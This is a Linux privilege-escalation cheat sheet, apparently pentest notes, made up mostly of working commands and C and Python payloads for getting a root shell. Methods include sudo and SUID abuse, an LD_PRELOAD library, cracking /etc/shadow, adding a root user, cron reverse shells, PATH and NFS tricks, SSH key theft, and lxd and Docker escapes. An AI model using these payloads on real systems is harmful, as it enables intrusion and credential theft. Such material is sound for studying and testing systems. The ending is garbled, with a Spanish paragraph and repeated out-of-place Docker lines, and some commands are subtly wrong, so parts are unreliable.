Linux Privilege Escalation
Here are some techniques for achieving privilege escalation on Linux systems:
Abusing Sudo execution permissions
Verify which commands can be run with sudo
$ sudo -l
#Example results
User user may run the following commands on the host:
(ALL) NOPASSWD: /usr/bin/find
Check Sudo abuse for the binary on GTFOBins and use it on the target machine to get privileges
sudo find . -exec /bin/sh \; -quit
#This will return a root shell
Abusing LD_PRELOAD (Library Hijacking)
Verify the LD_PRELOAD option in env_keep
sudo -l
#Example results
Matching Defaults entries for user on ip-0-0-0-0:
env_reset, env_keep+=LD_PRELOAD
Write a simple script in C
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
Then compile into a shared library
gcc shell.c -fPIC -shared -o shell.so -nostartfiles
Run a sudo command specifying the LD_PRELOAD option with the script
sudo LD_PRELOAD=/home/user/ldpreload/shell.so $command
#This will prompt a root shell
Abusing SUID/SGID permissions on reading binaries
Verify executables with special permissions
find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111 1 -rwsr-xr-x 1 root root 1111 Feb 10 2030 /usr/bin/base64
Check binary SUID abuse on GTFOBins
LFILE=file_to_read
base64 "$LFILE" | base64 --decode
Abuse privileges to read important files and copy its content locally
base64 /etc/shadow | base64 --decode #Display content of shadow
base64 /etc/passwd | base64 --decode #Display content of passwd
touch shadow.txt #Create on the host machine and copy the content of shadow
touch passwd.txt #Create on the host machine and copy the content of passwd
Use John to make a crackable file and crack passwords
unshadow passwd.txt shadow.txt > crack.txt
john -w=/usr/share/wordlists/rockyou.txt crack.txt
#If possible to crack, this will display the password of users
Abusing SUID/SGID permissions on writing binaries
Verify executables with special permissions
find / -type f -perm -04000 -ls 2>/dev/null | grep bin
#Example results
1111 1 -rwsr-xr-x 1 root root 1111 Feb 10 2030 /usr/bin/nano
Abuse privileges to create users with privileges
openssl passwd -1 -salt AAA $password #Create user hash
nano /etc/passwd
$username:$hash:0:0:root:/root:/bin/bash #Add this at the final of /etc/passwd
su $username #Switch to the new user
Abusing capabilities on binaries
Verify executables with set capabilities
getcap -r / 2>/dev/null
#Example results
/home/karen/vim = cap_setuid+ep
Check binary capabilities abuse on GTFOBins
./vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' #For python3
Go to the binary location and execute the payload
cd /home/karen/vim
./vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
#This will give you a root shell
Abusing existing cron jobs
Verify the executables set as cron jobs
cat /etc/crontab
#Example results
* * * * * root /home/user/file.sh
Go to the file location and change the content to get a reverse shell
cd /home/user
nano file.sh # The content will be replaced with a reverse shell script
Create a listening port with netcat to receive the shell
nc -nlvp $port
#You will receive a root shell
Abusing deleted cron jobs
Verify executables set as cron jobs
cat /etc/crontab
#Example results
PATH:/home/user:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
...
* * * * * root file.sh
Verify if the executable was deleted and create one with the same name
locate file.sh #This will show nothing, which means that it was deleted
cd /home/user
nano file.sh # The content will be a reverse shell script
Create a listening port with netcat to receive the shell
nc -nlvp $port
#You will receive a root shell
Abusing the PATH environment variable (Path Hijacking)
Search for any writable folder and compare it to PATH
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
#Example results
etc/udev home/user run/dbus snap/core sys/fs tmp usr/lib var/crash
echo $PATH
#Example results
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
Add the folder to PATH and go to this location
export PATH=/home/user:$PATH
echo $PATH #To check if it was added
cd /home/user
Write a simple script in C to search for an executable
#include <unistd.h>
void main() {
setgid(0);
setuid(0);
system("root");
}
Compile the script and give it SUID permissions
gcc path.c -o path -w -static
chmod u+s path
ls -l #To check if it has a permission for the user
Create a file to ask for a shell and give it permissions
echo "/bin/bash" > root #Asking for a shell
chmod 777 root
ls -l #To check it has all permissions
Run the path script to get privileges
./path
#This will return a root shell
In other cases, when an application with SUID permissions is calling a binary and isn't specifying its absolute path, we can just create an arbitrary file with the same name, and add it to the path
echo "/bin/bash" > $binaryName #Arbitraryly to obtain a shell
chmod +x $binaryName
export PATH=/home/user:$PATH #Specifying where our file was created
# Then run the application with the SUID permissions
Abusing the NFS misconfiguration
Check the NFS configuration, and search for the no_root_squash value
cat /etc/exports
#Example results
/home/ubuntu/sharedfolder *(rw,sync,insecure,no_root_squash,no_subtree_check)
On the host machine, check for mountable shares
showmount -e $targetIP
#Example results
/home/ubuntu/sharedfolder *
/tmp *
/home/backup *
On the host machine, create a shared folder with the target
mkdir /tmp/Attack
sudo mount -o rw $targetIP:/home/ubuntu/sharedfolder /tmp/Attack
Write a simple script in C to ask for a shell
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void) {
setgid(0);
setuid(0);
system("/bin/bash -p");
return 0;
}
Compile the script and give it SUID Permissions
cd /tmp/Attack
nano nfs.c #Create the script as above
sudo gcc nfs.c -o nfs -w -static
sudo chmod u+s nfs
ls -l #To check if it has permissions for the user
On the target machine, run the script to get privileges
./nfs
#This will return a root shell
Abusing SSH keys
Check if we have reading permissions on the SSH private keys of a user
cat /home/$user/.ssh/$keyfile #For a user
cat /root/.ssh/$keyfile #For root user
Copy the keys to a file, assign permissions to the file, and use it to log in using the key
nano $filename #Copy here the keys
chmod 600 $filename
ssh $username@$IP -i $filename
When having writing permissions on the /root/.ssh/ directory, we can generate an SSH key with the current user and pass it to the system
ssh-keygen -f $keyfile
Pass the public key to the authorized keys file of the root user
cat $keyfilename.pub >> /root/.ssh/authorized_keys
Use this to log in as root using the key
ssh root@$IP -i $keyfile
Abusing lxd
Verify lxd is installed on the system
lxd --version
Check if the lxd group exists
groups
Add the current user to the lxd group (in case it isn't there yet)
usermod --append --groups lxd $user
On our machine, install the required lxd components
sudo apt install lxd
sudo apt install zfsutils-linux
Activate the lxd service and start it
sudo systemctl start lxd.service
sudo lxd init
Download an image or build it if necessary
wget https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
Mount a server to import and download the image to the target host
# On our machine
python3 -m http.server $port
#On the target machine
wget http://$IP:$port/$filename.tar.gz #The one that comes with the repository
On the target, import the image and use it to create a container specifying high privileges and mounting the complete filesystem
lxc image import $imageroute --alias $imagename
lxc init $imagename $containername -c security.privileged=true
lxc config device add $containername host-root disk source=/ path=/mnt recursive=true
Start the container, ask for a shell from it, and access the mount point of the filesystem
lxc start $containername
lxc exec pwned /bin/sh
cd /mount
Abusing the Python eval function
The eval function in Python is well-known for being vulnerable, as it can act in a global scope. If there isn't proper sanitization of the input, this can be leveraged to execute arbitrary system commands.
We find a code that is run as the root user and uses the eval function improperly
__import__('os').system('/bin/bash') #Insert in the part where eval will act
If it can't be inserted directly, we can add a validation that returns true, and then the payload
1+1 == 2 and __import__('os').system('/bin/bash')
Abusing Docker configurations
This could be used to escape a Docker container and gain access to the host system or to directly escalate privileges
(Optional) Try to determine if we are in a container environment
cat /proc/1/cgroup # Check if the output contains docker
grep -iE 'docker|lxc|kubepods' /proc/1/cgroup #Check also other type of containers
ls -la /.dockerenv #Check if there is a configuration file at the root folder
cat /etc/hostname #Check if we see a hostname with hash values
ps -p 1 -o comm= #Check if the PID 1 process isn't the system init
If the container was started with
--privileged
we could mount the host filesystem
mkdir /tmp/host
mount -t proc none /tmp/host
mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash
We can also abuse the Docker socket if it's exposed
docker -H unix:///var/run/docker.sock images #If this works is a sign
docker -H unix:///var/run/docker.sock run -v /:/host --rm -it alpine chroot /host
We can also abuse capabilities to mount the file system
capsh --print #Check if CAP_SYS_ADMIN
mount -t tmpfs none /mnt
mkdir /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host
Abusing Python Libraries (Python Library Hijacking)
Esta vulnerabilidad permite crear un archivo malicioso de Python, con el mismo nombre de la librerΓa que se importa en un script Objetivo. Esto puede ser abusado dado que Python interpreta primero el archivo creado en el mismo directorio, antes de buscar la librerΓa integrada.
Sabiendo esto, se creΓ³ un archivo base64.py
con un payload que ejecutara un comando del sistema y poder obtener acceso con privilegios.
(Optional) Try to determine if we are in a container environment
If the container was started with
--privileged
we could mount the host filesystem
Last updated